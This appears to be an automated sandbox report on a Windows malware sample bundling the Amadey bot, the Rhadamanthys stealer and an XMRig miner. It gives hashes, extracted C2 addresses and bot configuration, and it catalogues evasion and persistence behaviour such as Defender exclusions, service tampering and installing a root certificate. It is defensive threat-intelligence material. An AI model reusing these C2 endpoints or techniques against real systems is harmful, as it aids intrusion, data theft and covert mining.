amadey | d242ca4c20d2ef9d416e7532b632db44b3199d0c48ef43b3d1144053aa996503

Analysis

max time kernel
150s
max time network
142s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
02/09/2024, 15:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Launcher.exe
Size 364KB
Sample240902-svh22athqa
SHA256 fb07af2aead3bdf360f555fc872191e43c2f0acbfc9258435f9a30afe272ba03
MD5 93fde4e38a84c83af842f73b176ab8dc
SHA1 e8c55cc160a0a94e404f544b22e38511b9d71da8
SHA512 48720aebe2158b8a58fc3431c2e6f68271fbade51303ad9cb5b0493efaec6053ff0c19a898841ef7c57a3c4d042ac8e7157fb3dc79593c1dfcdcf88e1469fdec
SSDEEP 6144:MpS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYqliwrqH1JWP6f:Mp8KLBzQ7Lcf3SiQs2FTTql9unNrkvT2
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

amadey rhadamanthys xmrig 3dae01 discovery evasion execution miner persistence stealer trojan upx

Malware Config

Extracted

Family

rhadamanthys

https://45.159.188.37:443/44194499adc4d2b753ee/gcj8ajmp.qnu3f

Extracted

Family

amadey

Version

4.41

Botnet

3dae01

http://185.208.158.116
http://185.209.162.226
http://89.23.103.42

Attributes

install_dir
239f17af5a
install_file
Hkbsse.exe
strings_key
91a6d9abcd7a774809c7ff7ced665178
url_paths
/hb9IvshS01/index.php

/hb9IvshS02/index.php

/hb9IvshS03/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4120 created 2964	4120	rhjryjyj.exe	49

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 9 IoCs

miner

resource	yara_rule
behavioral2/memory/1044-663-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/1044-666-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/1044-669-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/1044-668-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/1044-667-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/1044-665-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/1044-662-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/1044-676-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/1044-677-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4584	powershell.exe
404	powershell.exe
748	powershell.exe
4292	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

UPX packed file 17 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000001ae70-327.dat	upx
behavioral2/memory/304-332-0x0000000140000000-0x0000000140E3D000-memory.dmp	upx
behavioral2/memory/3504-497-0x0000000140000000-0x0000000140E3D000-memory.dmp	upx
behavioral2/memory/1044-659-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1044-663-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1044-666-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1044-669-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1044-668-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1044-667-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1044-665-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1044-662-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1044-660-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1044-658-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1044-661-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1044-657-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1044-676-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1044-677-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
24	raw.githubusercontent.com
25	raw.githubusercontent.com
26	bitbucket.org
27	bitbucket.org

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
164	powercfg.exe
3032	powercfg.exe
2040	powercfg.exe
1472	powercfg.exe
1312	powercfg.exe
4720	powercfg.exe
3036	powercfg.exe
4624	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	2plugin27724
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	kuytqawknxye.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
304	2plugin27724
304	2plugin27724
3504	kuytqawknxye.exe
3504	kuytqawknxye.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3504 set thread context of 2896	3504	kuytqawknxye.exe	158
PID 3504 set thread context of 1044	3504	kuytqawknxye.exe	163

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\Hkbsse.job	3plugin29563

Executes dropped EXE 12 IoCs

pid	Process
1400	Launhcer.exe
816	Launcher.exe
2500	wget.exe
1588	winrar.exe
4120	rhjryjyj.exe
2032	wget.exe
512	winrar.exe
304	2plugin27724
4040	wget.exe
4056	winrar.exe
1256	3plugin29563
3504	kuytqawknxye.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3704	sc.exe
4716	sc.exe
1924	sc.exe
2108	sc.exe
5060	sc.exe
4676	sc.exe
4084	sc.exe
1388	sc.exe
2844	sc.exe
4156	sc.exe
4724	sc.exe
1468	sc.exe
4264	sc.exe
4464	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 10 IoCs

pid	pid_target	Process	procid_target
3296	4120	WerFault.exe	83
3556	1256	WerFault.exe	94
3500	1256	WerFault.exe	94
436	1256	WerFault.exe	94
1648	1256	WerFault.exe	94
1340	1256	WerFault.exe	94
3704	1256	WerFault.exe	94
4260	1256	WerFault.exe	94
696	1256	WerFault.exe	94
1396	1256	WerFault.exe	94

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launhcer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhjryjyj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3plugin29563
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2500	wget.exe
2032	wget.exe
4040	wget.exe

Modifies data under HKEY_USERS 51 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 040000000100000010000000c5dfb849ca051355ee2dba1ac33eb028030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad040000000100000010000000c5dfb849ca051355ee2dba1ac33eb0282000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 5c000000010000000400000000080000040000000100000010000000c5dfb849ca051355ee2dba1ac33eb028030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4292	powershell.exe
4292	powershell.exe
4292	powershell.exe
4584	powershell.exe
4584	powershell.exe
4584	powershell.exe
4120	rhjryjyj.exe
4120	rhjryjyj.exe
1772	openwith.exe
1772	openwith.exe
1772	openwith.exe
1772	openwith.exe
304	2plugin27724
304	2plugin27724
304	2plugin27724
404	powershell.exe
404	powershell.exe
404	powershell.exe
304	2plugin27724
304	2plugin27724
304	2plugin27724
304	2plugin27724
304	2plugin27724
304	2plugin27724
304	2plugin27724
304	2plugin27724
304	2plugin27724
304	2plugin27724
304	2plugin27724
304	2plugin27724
304	2plugin27724
304	2plugin27724
3504	kuytqawknxye.exe
3504	kuytqawknxye.exe
3504	kuytqawknxye.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
3504	kuytqawknxye.exe
3504	kuytqawknxye.exe
3504	kuytqawknxye.exe
3504	kuytqawknxye.exe
3504	kuytqawknxye.exe
3504	kuytqawknxye.exe
3504	kuytqawknxye.exe
3504	kuytqawknxye.exe
3504	kuytqawknxye.exe
3504	kuytqawknxye.exe
3504	kuytqawknxye.exe
3504	kuytqawknxye.exe
1044	dwm.exe
1044	dwm.exe
1044	dwm.exe
1044	dwm.exe
1044	dwm.exe
1044	dwm.exe
1044	dwm.exe
1044	dwm.exe
1044	dwm.exe
1044	dwm.exe
1044	dwm.exe
1044	dwm.exe
1044	dwm.exe
1044	dwm.exe

Suspicious use of AdjustPrivilegeToken 54 IoCs

description	pid	Process
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	4584	powershell.exe
Token: SeDebugPrivilege	404	powershell.exe
Token: SeIncreaseQuotaPrivilege	404	powershell.exe
Token: SeSecurityPrivilege	404	powershell.exe
Token: SeTakeOwnershipPrivilege	404	powershell.exe
Token: SeLoadDriverPrivilege	404	powershell.exe
Token: SeSystemProfilePrivilege	404	powershell.exe
Token: SeSystemtimePrivilege	404	powershell.exe
